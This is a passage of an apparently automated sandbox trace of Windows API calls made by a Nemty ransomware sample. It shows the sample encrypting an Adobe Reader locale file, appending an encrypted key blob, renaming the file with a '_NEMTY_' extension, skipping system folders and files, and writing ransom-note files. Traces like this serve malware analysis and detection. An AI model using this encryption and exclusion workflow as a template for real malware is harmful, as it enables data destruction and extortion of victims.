lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NLD", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NLD", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NLD", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.745] Sleep (dwMilliseconds=0x5) [0180.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f62a0d0, dwHighDateTime=0x1d561e8)) [0180.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f62a0d0, dwHighDateTime=0x1d561e8)) [0180.755] GetLastError () returned 0x0 [0180.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.756] GetLastError () returned 0x0 [0180.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.756] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.756] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.756] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.756] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="vT0A7mwDiTcBd0Qi7wJ+SY+yrzo/twPHVOFE9TwTZXb95xiN7I3VzC6ahzJ1ALYh\r\n7aPqXZy4PTPjyA+myU+3q6wjxHFtrBdgPCvXQLxDTfCe6lc0FIWmyG8n0iLUZQn/\r\nlAGwygSYgY0ikloYAgJv2IyMCtlR4JBSWJU1i6eijVh/5xdiAhXNo5D3jwRMQWH+\r\n04k1HNJqB6cS3lNDGB64o0TkYYNh7sG2oZz8YTfvoDY4G/RQAelNtJ2kil/Xo4q3\r\nFUwCVTlZxCBRKaAxamk2vAisUvlFfINzxp8JDJRz/5j40bXu1IE99FBvWojOCDnE\r\nmbF4MM5GAuO/diaSPEQfYA==\r\n", pcchString=0x653e5dc) returned 1 [0180.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.756] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Weblink.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\weblink.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.756] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28672) returned 1 [0180.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7000) returned 0x6352c48 [0180.757] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.757] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7000, lpOverlapped=0x0) returned 1 [0180.760] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.760] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7000, lpOverlapped=0x0) returned 1 [0180.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.760] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000 [0180.760] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.760] CloseHandle (hObject=0x2e8) returned 1 [0180.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.760] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Weblink.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\weblink.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Weblink.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\weblink.nld._nemty_kgobjgd_")) returned 1 [0180.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.761] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f1ffa50, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1f1ffa50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f1ffa50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0180.761] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0180.761] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0180.761] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0180.761] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0180.761] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0180.761] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0180.761] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0180.761] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0180.761] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0180.761] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0180.761] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0180.761] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0180.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0180.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0180.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0180.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0180.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0180.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0180.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0180.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0180.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0180.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0180.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0180.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0180.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.763] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f1ffa50, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1f1ffa50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f1ffa50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0180.763] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0180.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0180.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0180.763] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2=".") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="..") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="...") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="windows") returned -1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="$RECYCLE.BIN") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="rsa") returned -1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="NTDETECT.COM") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="ntldr") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="MSDOS.SYS") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="IO.SYS") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="boot.ini") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="boot.ini") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="AUTOEXEC.BAT") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="ntuser.dat") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="desktop.ini") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="CONFIG.SYS") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="RECYCLER") returned -1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="BOOTSECT.BAK") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="bootmgr") returned 1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="programdata") returned -1 [0180.763] lstrcmpiW (lpString1="pl_PL", lpString2="appdata") returned 1 [0180.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pl_PL", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pl_PL", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pl_PL", lpUsedDefaultChar=0x0) returned 5 [0180.764] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pl_PL", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.764] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pl_PL", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pl_PL", lpUsedDefaultChar=0x0) returned 5 [0180.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0180.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0180.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0180.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0180.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0180.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0180.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0180.764] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0180.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0180.766] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.766] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0180.767] CloseHandle (hObject=0x254) returned 1 [0180.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0180.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0180.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0180.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0180.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0180.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0180.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.767] MultiByteToWideChar (in: CodePage=0x0, 